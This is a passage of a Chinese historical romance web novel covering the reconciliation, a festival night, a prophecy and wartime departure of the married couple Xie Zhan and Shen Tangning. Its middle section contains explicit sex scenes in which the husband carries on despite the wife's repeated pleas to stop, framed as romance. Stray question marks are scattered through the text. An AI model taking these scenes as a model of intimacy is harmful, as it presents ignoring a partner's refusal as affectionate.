“为什么?要救我,你知不知道那晚有多危险,你会死?的!”沈棠宁哽咽道。 谢瞻沉默了片刻。 “我这不是没事,还好好儿在这里吗,再说,哪有那么?容易就死?了。”他故作轻松道。 人?皆怕死?,谢瞻自然也怕。 但在得知沈棠宁尚未被救出来的那一刻,他脑中?压根就没来得及想那么?多,双腿便?率先冲了进去。 “以后不要这样了好吗?” 沈棠宁哭着说:“我不值得你这样做……对不起阿瞻,是我错了,我这几?日一直在想,我其实根本就不想让你娶常令瑶……” “你说什么??” “我说我不想你娶常令瑶……” 谢瞻捧起沈棠宁泪眼?朦胧的脸,一字一句。 “沈棠宁,我要你再说一遍!” “我不想你娶别的女人?!” 谢瞻蓦地将她拥入怀中?。 他紧紧地,死?死?地搂着她。 他的伤口疼,她的胸口被挤压得疼,但感受到怀中?那软玉温香的身子是真真切切地被他拥在怀里,那在火海中?彷徨无措,仿佛要永远失去她对方的错觉才仿佛在这一刻彻底烟消云散。 “对不起宁宁,我也有错,我不该凶你,我只是……” 话至此?处,他声音低了下去,喃喃道:“我只是很难过,我……”顿了一下,抵着她的额,“我也想你能在乎我……” “我从来没有喜欢过常氏,从小到大,我都将她视为妹妹一样。那日我去衙门,她的丫鬟来告诉我说她病重?,我知道这是她惯用的手段,长忠说不动她,所?以想亲自去勒令她离开平凉,在她房外?停留了不过一盏茶的功夫,连屋都没进去便?离开了,从无逾越之举。你曾给我机会,问我有没有想对你说的话,我却没有告诉你她来了平凉,是我的错,我以为你不会在乎……” 或许在谢瞻的内心深处,他始终认为沈棠宁不爱他,所?以常令瑶的存在与否,无关重?要。 沈棠宁看着他瘦削的脸庞,他脆弱受伤的眼?神令她既心疼又自责。 “我当?然在乎你!你是我的夫君,是我孩子的父亲,除了我的亲人?,你是我在这世间?唯一在乎的男人?!” “那宗瑁和?执失伯都呢?”谢瞻忍不住心里泛酸,“宗瑁已经死?了,我也不想计较了,你待执失伯都那样好,他又算是什么??” 沈棠宁说:“和?谈之后,我曾问过察兰汗妃,我觉得伯都将军很像我失散多年的哥哥沈连州,我会情不自禁地想去亲近他,这种亲近只是孺慕之情,别无他意。” 说到此?处,她心里忽然冒出个荒谬的想法,迟疑着,不太自信地说:“你,你难道是在吃醋?” 谢瞻总说她是谢家妇,不让她与萧砚有牵扯,眼?下回想起来,好像的确每回她与萧砚见过面,他总会莫名其妙地发些脾气。 那时她以为他是喜怒无常,难道从那个时候,他就…… 谢瞻一时冲动,脱口道:“是,我就是吃醋!我就是见不得你对别的男人?好,你是我的妻子,”扳过她的脸,负气又强硬地叫道:“我不管,你只许对我好,只许心疼我!” 他这一番话,好像个幼稚的小童在宣誓自己的主权一样,可不知为何,沈棠宁的心却难以自抑地生出几?许甜蜜。 这话说罢,谢瞻似乎也有赧然,闭了口。 尤其是看着沈棠宁瞪得圆圆的大眼?睛,一眨不眨地注视着他,那眼?尾还泛着漂亮的胭脂红色。 不过话说出去了便?收不回来,谢瞻也不再纠结,握住她的一只手,掌心扣住她的手背,轻轻拢在自己的心口处。 他郑重?地起誓道:“皇天后土,今日在此?见证。我谢瞻既娶沈棠宁为妻,从今往后,便?一心一意待她,绝不纳妾别娶,倘若有违此?誓,便?教我客死?异乡,永世不得……” “你又胡说什么?!” 沈棠宁急忙抵住他的唇,“这种毒誓岂是能乱发的!即便?你有一日负了我,我们分开便?罢了,我不要你死?……” 她抚摸着他因多日未刮胡子,已经摸起来有些粗糙扎人?的面庞,而后,将脸轻轻靠在了他温热的胸膛上。 “君当?作磐石,妾当?作蒲草。蒲草韧如丝,磐石无转移。阿瞻,你若真心待我,我必当?真心报你,九死?不悔。” 一字一句,却掷地有声。 第70章 如果一个男人肯为了你连性?命都舍弃,那么何须再去寻根究底他到底爱不爱你。 那些虚幻的海誓山盟,倘若他不愿遵守,发一千一万个毒誓也不管用。 倘若他真心?爱你,不是去看他说?了什么,而是看他做了什么。 谢瞻疑心?这把火是有心?人放的,自然第一个怀疑到常令瑶身?上?。 此时常令瑶已经离开了平凉多日,谢瞻派人去追,沈棠宁却?拦住他道:“这火当真是意外。” 她命保儿将那始作俑者带上?前来?。 原来?那晚沈棠宁院中?的一个守夜的妈妈子半夜起来?出恭,黑灯瞎火,随手将那手中?提的小银灯搁在了一旁抱厦的槛窗上?照明。 却?不防那槛窗没关严实,风一吹小银灯掉落到屋里,碰巧砸倒在窗纱上?,灯油泼了满地,房内当时只有一个小丫鬟睡熟了——这丫鬟是这位妈妈的小侄女,大火很快蔓延起来?。 等那她从厕中?出来?已是一刻钟之后,大火早烧到了隔壁的厢房上?,夜深人静,风势不利,不消片刻就将大院烧成?了一片火海。 这位妈妈姓张,事发后她十分后怕,既遭受良心?的谴责,又担心?管事怪罪下?来?,不如自己?先自首,因此找到长忠供认不讳。 长忠查证后发现张妈妈所述俱属实,何况她家中?美满,儿子娶妻女儿出嫁,委的没什么理由受旁人挑唆去害人。 再说?,她真要?害人也不会先挑着自己?的抱厦放火,毕竟她的小侄女当时就在房里,万一把自己?的侄女给烧死了岂不是得不偿失? 谢瞻想着也有道理,遂将去追常令瑶的扈从遣回。 这张妈妈本来?不是镇国公府的家生仆妇,而是谢瞻来?到平凉后管事在当地采买的。 念她无心?之过,且认错态度良好,谢瞻便?未重罚,只她到底险些铸成?大错,罪不可逃,便?与她银两两讫,放出了府去,后张妈妈在当地有司县衙中?被收监了半年才放出,此案算是了结。 且说?谢瞻这伤一养便?是十来?日,他本就不是个安分养伤的主儿,每日都嚷着要?下?床,若不是沈棠宁每天陪他说?话解闷儿,早就不耐烦躺在床上?了。 幸他年轻强壮,身?体底子好,被房梁砸那一下?也不重,只是骨头稍微错位,除了翻身?的时候还是会刺疼,养了这段时间红肿也差不多消退痊愈了。 就是身?上?的烫伤看着依旧触目惊心?得很,伤口结痂后,沈棠宁每日给他涂抹去疤痕的药膏。 谢瞻不耐烦涂,沈棠宁哄他八月十五一起出去看灯会,若那日他没有大碍,以后就不管他了。 到了八月十五这一日,满城沸腾热闹。 沈棠宁换上?新裁的裙子,水红色的刻丝泥金银如意云纹对襟褙子,深绿色绣碧绿烟柳长裙,一双金敷彩织霞纹小绣鞋,略施粉黛,轻点朱唇,镜中?女子已是光彩照人,看得谢瞻目不转睛。 谢瞻则是穿了一身?白?底绣金团花束袖圆领长袍,他的衣服黑紫二色居多,换上?这白?色的长袍,气质中?便?多了几分儒雅俊秀的意味。 两人手牵着手走?在街市上?,女子生得柔婉动人,男人高大俊美,两人举止亲密,无不是引得路人侧目,盛赞郎才女貌,天作之合。 当地风俗中?秋节喜好游湖看月,柳湖湖畔,一轮月华如练似水。 天色尚早,湖畔的柳树上?便?张灯结彩,绕湖一圈的摊位上?则摆满了小商贩与摩肩擦踵的游人,暖风袭来?阵阵脂粉香与饸饹面?的香气。 虽说?沈棠宁与谢瞻成?婚已近三年,有闲情逸致出来?游玩的次数却?是屈指可数。 两人走?到一处的围满了人群的摊位上?,谢瞻忽停了下?来?。 原来?这摊位的老板在举办猜灯谜的活动,每一只宫灯上?都垂着一纸灯谜,猜对十个灯谜便?可任意挑选一盏漂亮的宫灯。 “想要?哪一盏?”谢瞻问她。 沈棠宁指着摆在最中?间的那盏富丽堂皇的转鹭灯,谢瞻了然,直接走?上?前去道:“店家,我娘子看中?了你这盏转鹭灯,不知?价值几何?” 店家定睛一看,只见来?人生得样貌堂堂,气度不凡,好生英俊魁梧的郎君,不由眼前一亮,再看向他身?侧矗立的小妇人,脸颊微红,一双杏眼亮晶晶地看着她的夫君,忙笑着比了个手势:“不多不少,十五个灯谜!” 这十五个灯谜,对于谢瞻这样聪明的人来说自然不在话下,便?是稍难些的,他也只是略一思索便?将答案脱口而出。 剩下?的五个灯谜,见沈棠宁跃跃欲试,谢瞻自然都让给她了。 毫无悬念,最终沈棠宁顺利赢得了那只漂亮的转鹭灯。 “阿瞻,你还记不记得我刚嫁你那一年的上?元夜,我们也是这般一起出来看灯。”沈棠宁忽然问他。 谢瞻闻言一哂。 他当然记得,且印象深刻。 那一晚,沈棠宁做了一只荷花灯,他那时年少,自作多情地以为沈棠宁会和?其他的姑娘一样恋慕他。 结果偷看了她的荷花灯后,却?发现她竟在荷花灯上?写了萧砚的名字,当时他当真是被气得火冒三丈,对沈棠宁也言不由衷说?了许多难听的话。 沈棠宁被谢瞻拉着走?到湖畔,看着谢瞻买下?一盏荷花灯塞到了她的手中?。 “我瞧着这灯状如芙蕖,十分新鲜,大家都在这湖里放灯,咱们也去凑个热闹吧。” 说?着,瞅了沈棠宁一眼。 沈棠宁自是不知?他的用意,虽然疑惑他为何会对荷花灯感兴趣,仍是笑着应了,从摊主手中?取过纸笔,背过身?去略一思索,刚要?下?笔,突然想到什么,扭头看去。 四目相对,被妻子那双美目一瞪,谢瞻收回了目光。 他轻咳一声道:“我就看看你写什么,这有什么是不能?看的?” 那摊主在一旁听罢却?笑道:“诶,郎君此言差矣!好教郎君知?道,这祈福笺是不能?看的,看了这可就不灵喽!” 摊主既然都这么说?了,饶是谢瞻脸皮再厚,也不好再去偷看。 沈棠宁写好了那祈福的纸笺,小心?叠好放到灯心?处的纸托上?。 女孩子们纷纷身?着粉衣红裙,三两成?群欢声笑语地放下?灯,那湖面?上?不多时便?飘满了装饰精致的荷花灯,明亮的灯火与今夜皎洁的月光交相辉映,美不胜收。 沈棠宁许愿完毕,亲眼看着自己?放的那盏荷花灯顺流而下?,暖风微熏,柔柔吹拂,心?情是前所未有的舒畅。 扭头看去,谢瞻负手立在岸边的阑干上?,见她望过来?,冲她一笑,沿着阶梯走?了下?来?。 冷不防风势突然变大,身?旁小娘子“啊”了一声,纷纷叫嚷起来?。 “起风了!” 沈棠宁刚要?离开,听了这话连忙扭头看去。 只见自己?的那盏荷花灯不知?何时被风吹到了一侧的昏暗处,几经颠簸,眼看就要?被风掀翻,心?里不由焦灼起来?。 谢瞻走?到了她的身?边,顺着她的目光一起看去。 “一盏灯而已,翻了便?翻了,咱们再重新放一盏。” “那不一样……你别打岔!” 沈棠宁皱着眉,聚精会神地看着。 渐渐地风势变小,那盏荷花灯漂流的速度逐渐减慢,这才与顺流而下?的其它荷花灯回合在一起。 沈棠宁终于松了一口气,挽住谢瞻的手嫣然一笑。 “阿瞻,我们也走?吧!” …… 平凉城中?有座龙隐寺,就坐落于柳湖旁,每年凡遇庙会、节假日等良辰好日此处便?人满为患,是平凉有名的游览胜地。 两人原先计较着待逛完龙隐寺,等会再去柳湖游船听曲儿,偶然路过一处人迹罕至的小巷中?,窥见几对有情人搂抱在一处卿卿我我。 大家仿佛心?照不宣,眼观鼻鼻观心?地装作没看见经过,沈棠宁心?里却?不自在得很,尤其是谢瞻紧握着她手的大掌,变得越来?越滚烫用力,她的心?也突突跳了起来?。 既窘迫,尴尬,又仿佛也在隐隐期待着什么。 走?到四下?无人处,谢瞻突然拉过沈棠宁,将她抵在了墙上?。 他高大的身?躯如她预料般压过来?的同时,火热的气息无孔不入地包围了她。 沈棠宁心?一颤,便?知?他欲要?做什么,终究是有些害羞被人看见,忙红着脸去推他,却?不妨那大舌趁她开口时滑入其中?,卷住了她滑腻柔软的丁香小舌。 他极有技巧地循序渐进,直将她吻得娇吁微微,面?色红润生晕。 …… 沈棠宁脑中?空白?一片,本是想推阻他松手,怕被人瞧见,到最后却?是话不成?声,软倒在他怀中?,只剩下?几句不成?调的嘤呜。 整理好衣衫从巷中?出来?时,沈棠宁腿脚还是发软。 路过一处岔路口,忽听身?旁传来?一个老者低沉的声音。 “娘子请留步。” 沈棠宁唬一跳,连忙与谢瞻分开手。 她下?意识以为是刚刚她与谢瞻拥吻之状被人瞧见了,臊着脸慌乱地向身?旁看去。 面?前坐着一位老者,摆着个陋摊,但见身?着皂布短褐袍,肩膀处背着个破旧的褡裢,一把花白?的美髯挡住了大部分的脸,叫人看不清其上?的五官表情。 见她红着脸蛋望过来?,一双杏眼妩媚似水,含情难言。 那老者心?中?惊艳,上?下?打量片刻,捋着胡须笑道:“娘子璞玉浑金,澧兰沅芷,虽身?弱体薄,却?宅心?仁厚,日后可是有大造化,大富大贵的命数!” 这话说?的与先前郭氏给沈棠宁批过命的仙人有几分相似,沈棠宁诧异道:“敢问道长,我们先前可曾见过?” 那老道笑而不语,目光又落在她身?侧的男人身?上?,忽眼中?闪过一抹精光,微微眯了眼。 “郎君,常言道相逢即是有缘,老道今夜也给你卜一卦吧。” 谢瞻不信鬼神,不过这老道既有心?夸奖沈棠宁,他自然也不会扫兴,应道:“道长占卜便?是,钱财不会少。” 那老道将铜钱放入龟壳之中?,闭目摇晃龟壳,口中?念念有词,片刻后将龟壳中?的铜钱掷于案上?,总共六次,收卦归位。 思量片刻后开口,一句话却?令沈棠宁与谢瞻登时色变。 “这卦为‘亢龙有悔’,郎君今日志得意满,万事顺遂,然盛极必衰,过犹不及,过刚必易折,情深却?不寿!可惜,可惜啊,你大难将至尚不自知?!” 谢瞻果如这老道所言,如今娇妻在侧,少年夫妻,如鱼得水,身?兼三镇节度使,受皇帝爱重,正是踌躇满志之际,说?是飞龙在天也不为过了,岂能?容下?这老道说?他出大难将至、亢龙有悔的忤逆之言,顿时勃然大怒,上?前一把拽住老道的衣襟。 “你这牛鼻子老道,再敢胡说?八道!” 沈棠宁连忙拦住谢瞻,那老道却?淡淡道:“信则有,不信则无,郎君自便?。” 谢瞻怒道:“明日我便?命人将你这坑蒙拐骗的江湖术士缉拿归案!” 说?罢怒而拂袖离去。 “阿瞻!” 沈棠宁两下?为难,想去追谢瞻离开,转头却?见那老道面?色淡然,无丝毫畏惧之态。 她暗暗心?惊,莫名生出不安之感,忍不住问道:“道长,适才是我夫君冒犯了,妾在此代他向您赔罪,敢问我夫君此着可得解禳之法?,不论多少银两我都舍得出!” 老道却?摇头叹息道:“娘子,你这位夫君,性?情自负,如今又正是志得意满之时,岂会听劝?你回去罢,一切自有定数!” 不再理会沈棠宁,无论沈棠宁如何求他,径自收拾了摊位离去。 那厢谢瞻已是不耐烦喊沈棠宁的名字,沈棠宁无法?,只得转头跟上?谢瞻,心?想明日再寻这位道长。 谢瞻原本的好心?情都被那老道一句话弄得很不是滋味,两人上?了画舫之上?,面?对满湖美景他也仍旧只绷着个脸不说?句话。 沈棠宁心?里叹了口气。 “你都说?那是江湖术士,专精坑蒙拐骗了,怎么还记在了心?里?” 谢瞻神色复杂地看着伏在他的怀中?轻言细语的妻子。 那老道说?她是大富大贵的命数,而他则大难将至,岂不是意味着他如今所求所得终为一场空,心?里如何能?舒坦了? 这口气咽不下?去,他心?里堵得很,连着灌了自己?两三杯酒。 沈棠宁担忧地看着他。 几杯黄酒下?肚,谢瞻才好受许多,不过有沈棠宁在一边紧张他,他心?里自然也是受用得很,一把搂住她的腰肢,凑到她耳旁道:“你喂我。” 沈棠宁微微红了脸,垂着脸将酒盏举到他嘴边。 谢瞻却?只挑眉看着她,眼底的笑意灼热而孟浪,直勾勾盯着她的唇,再次重复。 “你喂我。” 沈棠宁这次终于明白?了他的意思,一时那绯色从香腮红到了耳根。 她小声道:“外面?都是人……” 这意思是说?没人的时候私下?怎么来?都行。 谢瞻抱了沈棠宁进那画舫之中?,这画舫麻雀虽小,却?是五脏俱全,既有佳肴美酒在案,临窗下?又设有床榻兰汤,香雾袅袅自博山炉中?盘旋而出。 沈棠宁原本以为这床榻是给客人累的时候躺在上?面?歇息的,待看见那冒着热气的兰汤,眼下?谢瞻又将她抱到那床榻上?,立时猜测到他的意图,慌乱地不住挣扎起来?。 “阿瞻,别在这里,外面?都是人,我们回家吧……”她哀求道。 “宁宁,我现在心?里气闷得慌,你给我败败火!” 谢瞻不顾她羞涩求饶,伸手只管去剥她,沈棠宁羞恼交加,却?又不敢挣扎太过伤到他尚未痊愈的伤口,三两下?被他得逞。 谢瞻眸色晦暗,看着眼前桃李绽放的满庭春色,酒水倾倒而下?,淡紫色的液体自香馥的肌玉肤上?滚下?…… …… 沈棠宁情不自禁地打了个哆嗦,指尖陷进男人的发中?。 滑腻的美人香肌混合着葡萄酒水的醇香,当真是人间绝色美味,此时的谢瞻早将那牛鼻子老道一番诅咒之语抛到了东海大洋。 有酒有肉,他却?犹觉不够,远远不够,拉着沈棠宁的纤手,沙哑的嗓音地道:“宁宁,我想听你吹箫?” 显然他口中?的箫不是那文人雅客抒发情感常使的乐器。 沈棠宁又惊又羞,连忙摇头。 谢瞻却?信誓旦旦地说?,只是试一试,就试一试,她若是实在不愿就立即罢了。 沈棠宁终坳不过他一遍遍的厮磨,又怜惜他适才一番气闷,想让他心?里也欢喜快活,被他哄得半推半就,当真试了。 …… 沈棠宁不由皱起两道黛眉,拿一双眼睛不住睃他,盼望他能?主动喊停。 谢瞻一开始还能?抚摸着她的发顶柔声安抚,到后来?只觉通体舒泰,再顾不得什么了,任由她气恼抓挠。 待箫声吹罢,画舫之中?弥漫着浓郁的兰麝香气。 沈棠宁已是一丝气力也无,倒在他怀中?气喘吁吁地说?不上?一句话,不忘睁开一双哭得红红的杏眼怒瞪他。 谢瞻抱她上?床,拿了帕子擦拭她唇畔与颈子上?的污秽,又哄她亲嘴儿,什么乖乖娇娇的一通乱叫,要?不说?色相惑人,男色也是一样的,沈棠宁一时被他哄得晕头转向,他做什么便?是什么。 待到入巷时,忽琢磨出不对,顿时心?里如同吃了只苍蝇一般扫兴,忙抵住他的胸口。 “你,你怎么出门还捎了这个?” 谢瞻低头看了眼,“你说?此物?怎么了,宁宁,你还想给我生孩儿,嗯?” 他说?得嬉皮笑脸,还挺腰动了两下?,沈棠宁看他这模样,心?里却?一阵难受,撇了头去不理睬他。 她当然想给他生孩儿! 若说?以前两人尚有心?结,他不愿便?罢了,可今日她实在忍不住了,心?里委屈极了。 她嫁他有几年了,除了圆姐儿一无所出,这叫旁人怎么想她?他毕竟不是普通人,总要?有子嗣承袭他的爵位,又不是她不愿生,是谢瞻不给她机会。 越想,心?里越委屈,眼圈儿都红了。 “宁宁,你怎的了,真生气了?” 谢瞻凑近端详,见她果真生气了,心?内的欲念顿时飞到了九霄云外,抽身?搂住了她。 “宁宁,战事未平,你若此时有孕,我便?不能?常伴你左右,女子生产本就是一道鬼门关。”他顿了一下?,想到沈棠宁生产圆姐儿那日撕心?裂肺的哭声,叹了口气,“我不舍得看你再吃苦……” “当真?” 沈棠宁抬起湿润润的眸。 “当真,”谢瞻柔声道:“宁宁,我知?你迫不及待想为我生孩儿,可是这些都不急于一时,往后咱俩不是还有一辈子吗?” 沈棠宁听了他这话,心?里不禁又甜蜜又熨帖。 凭着他这番话,若能?为他生孩儿,便?是吃再大的苦她也甘愿。 只是他这话说?的,什么叫做她迫不及待想为他生? 她红着脸小声道:“我也没有特别想生,是你一直用、用这物,又不同我说?缘故。” “那我往后什么缘故都告诉你,好不好?” …… 画舫外靡靡之声飘扬,如黄鹂吟哦之声不绝如缕,湖面?上?碧波荡漾,时急时缓,时轻时重。 另有画舫从旁经过,画舫上?的几位结伴游玩的小娘子们见一棵高大的柳树下?停着一艘雕梁画栋的舫船,长约一百多丈,瞧着是不大,装饰得却?是极其精致,那舫外船板上?放置紫檀木案几,其上?摆着糕点瓜果,有一套碧绿色的海棠冻石蕉叶茶具煞是好看。 众贵女眼前不由一亮,其中?一位贵女倒不惧生人,对着那对面?的画舫主动叫喊起来?,问有人在不在。 那声音就近在耳边,不过隔着一扇遮挡着软帘的窗户罢了。 沈棠宁吓得一机灵,抓住谢瞻的肩膀。 这画舫上?除了她与谢瞻外再无旁人,一想到极可能?会被人撞破她在画舫之中?行着怎样的荒唐之事,她实在惶恐不已。 “有人来?了,快快停了……阿瞻,好哥哥,求你了!” 莫说?是好哥哥,谢瞻此时正在顶头上?,便?是沈棠宁唤他亲哥哥也不管用,抓过她的双臂就按在了两侧,粗声粗气地命令道:“叫我什么,再叫一遍!” “好哥哥,好哥哥……” “……” 她泪眼汪汪,小声哭着求道:“夫君,夫君!” 贵女听着对面?画舫内似有动静,如猫儿般嘤咛了一声,旋又被唱乐声盖过,紧接着,画舫也震动了起来?,连带着那画舫四角挂着的宫灯胡乱摇晃,只是天黑看不真切,被人误以为是风吹过。 她“咦”了一声,嘀咕道:“里面?分明有人,我似乎听到了,怎的有人还不出声呢?” 又客气地道:“里面?是哪位公子小姐,可否出来?一叙,奴姓赵,愿用一管玉箫换与公子、小姐这套茶具。” 谢瞻舔咬着沈棠宁的耳垂,含糊道:“宁宁,你是要?她的玉箫,还是要?好哥哥的,嗯?” 沈棠宁怕出声再被人听到,死死的咬住唇儿摇头。 不要?,她哪个都不要?!这个大骗子! …… 那画舫上?几位贵女听不见船舱中?动静,自讨了个没趣,便?不再打搅离开了。 半个时辰后,谢瞻穿好衣服出舱,向着舱尾招手。 画舫靠岸后,沈棠宁也穿好了衣服出来?,她腿脚犹发软打颤,浑身?还一股子葡萄酒味儿,谢瞻要?来?抱她,她气恼地狠掐了他一下?。 谢瞻也不恼,只是笑嘻嘻地将乱拍的她抱上?了岸。 马车就停在一旁,长忠见两人打情骂俏,尤其夫人那满面?红润,却?气恼嗔怪,而自家主子一副得了便?宜还卖乖的混蛋样儿,便?猜到两人刚刚在画舫上?干了那档子好事儿。 “咳!” 长忠迎上?去,递过一物,压低声音说?道:“世子,郭老将军急信。” 谢瞻面?上?嬉笑之色便?去了大半,将沈棠宁抱上?马车,他也跳上?去,拆开密信看一遍,神情愈发凝重。 “出什么事了?”沈棠宁轻声问。 谢瞻将信收入袖中?,口中?道:“没什么事……” 半响,将她搂入怀中?,低声叹道:“张元伦联合东契攻打灵州,宁宁,明日,我陪不了你了。” …… 事出紧急,当夜谢瞻便?收拾行囊,穿好铠甲,到第二日凌晨时刻预备出城。 不知?是不是因为先前那位道长的几句话,沈棠宁心?里头总沉甸甸的,很是不安。 谢瞻看着低头给他穿甲衣的沈棠宁。 她似乎心?不在焉,垂着长长的睫毛,黛眉紧蹙。 他不以为意,揉了揉她的脑袋,安慰她一番。 又狠狠亲一口那香润红唇,心?中?想:养病这些时日每天都睡得素素的,他便?是使出浑身?解数,沈棠宁也只肯给他喂一点肉星末儿,今夜好不容易开一次荤,张元伦这老贼都不肯消停…… 沈棠宁察觉谢瞻在她身?上?摩挲片刻,忙推开他一看,胸口空荡荡,这厮居然神不知?鬼不觉地解了她的小衣去。 谢瞻将那小衣揣在手上?,细嗅几口其上?的甜香,简直和?刚刚尝过的酥桃味道一模一样,面?上?不禁露出沉醉的表情,顺道俯在她耳边说?上?几句调情的夫妻私话,逗得她脸颊通红。 “记得想我。” “我,我再给你换件新的吧……”沈棠宁忍着羞道。 她到底不忍心?看他身?上?伤势未愈便?又去上?了战场,便?是荒唐些也都依着他了。 谢瞻摆了摆手,扭头走?了。 那新的上?面?没她的味道,他就爱她穿过的。 …… 当夜谢瞻便?命姜磐前往东契,自己?则领大军凌晨出发。 他走?后,下?半夜沈棠宁便?没再睡个囫囵觉,几乎是每隔一会儿便?要?醒一次,到清晨时才勉强睡了半个时辰。 醒后她立即坐上?马车前往龙隐寺寻昨夜的老道,可惜在寺内和?街坊邻居询问了半日,都没一人认识她口中?描述的那身?着皂布短褐袍,一把白?髯的老道。 锦书问她是不是记错了地点,沈棠宁也怀疑起自己?的记性?来?,将龙隐寺附近的街巷都寻遍了也寻不到人。 此后她接连几夜都命人到龙隐寺转悠几圈找那道人,依旧无果。 不提这道人去了何处,谢瞻离开后,沈棠宁初时心?中?惴惴不安,后来?每隔七八日谢瞻便?给她写一回信报平安,写给她的信上?也说?有伯都的襄助官兵接连大捷,张元伦节节败退,一派向好之态?*。 她看了信心?里才算松一口气,又想既寻不到那道人,安慰自己?兴许那老道果真是坑蒙拐骗的江湖术士,否则怎会一走?了之再无踪迹? 70-80 第71章 灵州隶属庆阳府,此地几百年?来各异族混杂,不?服从管教,便是郭尚这等圆滑聪明之人,也被弄得?甚是头疼。 趁着中秋佳节,天气转凉之际,张元伦明修栈道,暗度陈仓,借兵东契,突袭灵州。 那日与温氏和谢嘉妤等人在青州分别后,沈棠宁到了平凉按时给温氏写信,温氏觉得?这总把圆姐儿留在自己身边也不?是个事儿,回了京城之后便将圆姐儿送回了镇国公府,如今在王氏膝下养着,只偶尔登门去看一眼外孙女。 沈棠宁每月与温氏和王氏通一回信件,得?知女儿会跑会跳会叫人之后心里又是欢喜,又是酸涩。 只是谢瞻这里她?仍旧放心不?下,预感将会发生什么事情,究竟将发生何事她?心里也说不?清楚,那日的老道一番晦涩之言,她?隐约觉得?或许是其中关窍,并?不?敢回去。 沈棠宁唯有在心里期盼着、祈祷着这战事能够赶紧结束,一家人团圆的时候,她?实在是等了太久太久。 这夜沈棠宁躺在院子里的贵妃榻上纳凉,不?知不?觉睡了过去,朦朦胧胧中感觉到好像有人在温柔抚摸她?的脸颊。 那掌心很粗糙,但他抚摸得?却很轻柔舒服,沈棠宁微微睁开眼,从射入眼眸的光线中,隐约看见她?的身旁坐了一个男人静静看着她?。 “阿瞻,别闹……”她?嘟哝了一声。 那只手猛地一顿。 直过了好一会儿,沈棠宁揉着眼睛醒了过来。 她?躺在一棵槐花树下,四?下看去,地上落满了白色的小花,可是她?的身上却尘埃不?染。 沈棠宁怔怔地抚摸着自己的脸。 回想刚刚做过的那个梦,那停留在脸上的触感真如发生过的一般,但叫来锦书和韶音一问,二婢却诧异地说谢瞻根本就没?回来过。 “夫人的发怎么散了?”锦书奇怪地道。 沈棠宁这才发现自己头上绾的发不?知何时松散了下来。 那绾发的海棠花白玉簪本是谢瞻送给沈棠宁的礼物?,沈棠宁亲自去找,满院子的丫鬟婆子在院子内外皆找了个遍却都没?寻到究竟丢在了何处。 要想找到这簪子尚且要花费不?少功夫,这是后话,却说隔了几日节度使府外突然有人求见,来人自称谢七郎,是谢瞻的七弟。 沈棠宁一听?是七郎谢睿来了,十?分欢喜,忙唤长忠将人延请进来。 谢睿坐在花厅中,打?量着厅中挂的三四?副丹青。 有黄昏日落,大漠孤烟直,有海上朝阳初升,亦有小院墙角上的一簇盛放的蔷薇花。 每一幅画的末尾都画着一朵并?蒂海棠小花,心知这是他二嫂所作的了。 待在门下真正见到阔别两年?的二嫂沈棠宁时,谢睿腾得?从玫瑰椅上站了起来。 只见来人身着淡青色撒金团花的褙子,外罩墨蓝色比甲,娇绿锻裙儿,满头乌发攒成一个再简单不?过的发髻,簪着几朵绒花,不?见有多盛装奢华,却是衬得?她?雪肤鸦发,香腮红润,丽质天成, 倘若说两年?前的沈棠宁是少女的青涩娇美,今日的她?神彩照人,眼波流转,一颦一笑间,竟比之前两年?更添成熟妩媚,娇柔风情,叫人都不?敢直视。 沈棠宁连唤了两声谢睿的名字,谢睿才反应过来,一时通红了脸,忙低下头不?敢再看,迎下来回话道:“七郎见,见过二嫂!” 磕巴了两句才把舌头捋直,“二嫂万福金安,替夫人问话,二嫂一向身子可好?” 沈棠宁侧身不?受,唤声“七叔”,将他请至客位,问过谢睿的父母后笑道:“我一向都好,说来惭愧,始终寻不?得?间隙回京城,不?知婆母和公爹身子如何了?月前我还曾收到婆母寄来的信,道是家中一切如旧,叫我不?必担心,我记着嘉妤这个月及笄,打?发人寄送了礼物?过去,只是这个月一直没?见信件过来,我心里还担忧得?紧……” 今年?的中秋佳节,她?想到了两年?前京都城的上元夜。 记起那时她?初初嫁到镇国公府,羡慕谢嘉妤的潇洒肆意,也想外出游玩赏灯,却不?敢开口表达,是谢嘉妤和王氏鼓励她?一道出去玩耍,谢嘉妤纯真可爱,一直撮合她?与谢瞻。 万没?想到她?一走就是整整两年?,一直没?有机会再回京城拜见王氏与舅舅一家,也没?在王氏身边尽过一天做媳妇的责任。 想着,眼眶便不觉有些泛酸了。 两人叙了一番寒温,谢睿也安慰沈棠宁,从怀中拿出两封信交给她?。 一封是王氏的信,一封是温氏的信。 原来谢睿这次来平凉是为了运粮到前线,跟随他一道来的还有谢嘉妤的未婚夫,郑国公世子卫桓,两人在平凉城外分道扬镳,卫桓继续前往庆阳府,而谢睿则入平凉城来替家里人送信。 从谢睿口中得?知一家人与女儿的近况都好,尤其是圆姐儿格外聪明,小小年?纪便会察言观色,撒娇讨好,逗得?王氏欢喜极了,又怜又爱,自打?圆姐儿回到镇国公府,连谢璁也爱整日往王氏房里去跑了。 晚夕沈棠宁留谢睿吃了顿饭,饭后谢睿便要告辞离去。 “夜路难行,卫世子已去了庆阳,你不?急于?一时,都是自家人,七叔在这里住一晚又何妨?”沈棠宁恳切道。 沈棠宁盛情邀请,谢睿也就不?好意思地留了下来。 “也好,那便叨扰二嫂了!” …… 清早,天不?亮谢瞻便率领了一支队伍轻骑出账巡视。 东契近两年?来没?有强硬有力的首领,老汗王冒鲁昏聩无能,大权被王太后把持手中,眼看即将被西契吞并?,恰逢张元伦来借兵。 张元伦厉兵秣马了将近半年?,不?惜重金借东契兵力苟延残喘,始终不?肯投降。 冒鲁倒不?是真想帮张元伦,只想借张元伦之力震慑西契,奈何张元伦的势力日薄西山,遇到老对手谢瞻连连吃败仗。 在接连失去平城、靖远等地后,身体境况更每况愈下,索性与谢瞻打?起了游击战。 前几日平城之战后便消失在了清水河以北,谢瞻与郭尚大军如今就驻扎在清水河上游的平原流域,全力搜索张元伦余孽。 如果一切顺利,就目下看叛军余孽怕是坚持不?到明年?开春。 晌午时分谢瞻回到驻扎的营寨,先?去见过了中军大帐中找郭尚禀告军务,到自己的营帐时,只见他那小厮报儿在辕门下探头探脑,笑得?见牙不?见眼,上前来帮他牵住马。 “遇着什么喜事儿了?” 谢瞻下了马,随口问一句。 报儿说:“大喜事!世子,您猜是谁来了?” 谢瞻扔了马鞭子给报儿,踢他一脚道:“有屁就放!” 报儿“哎呦”一声没?躲闪开,捂着屁股嘿嘿笑道:“是夫人和七郎君来了,夫人来时尚早,听?说您带兵巡视去了,特意在灶帐里给您做饭呢!” 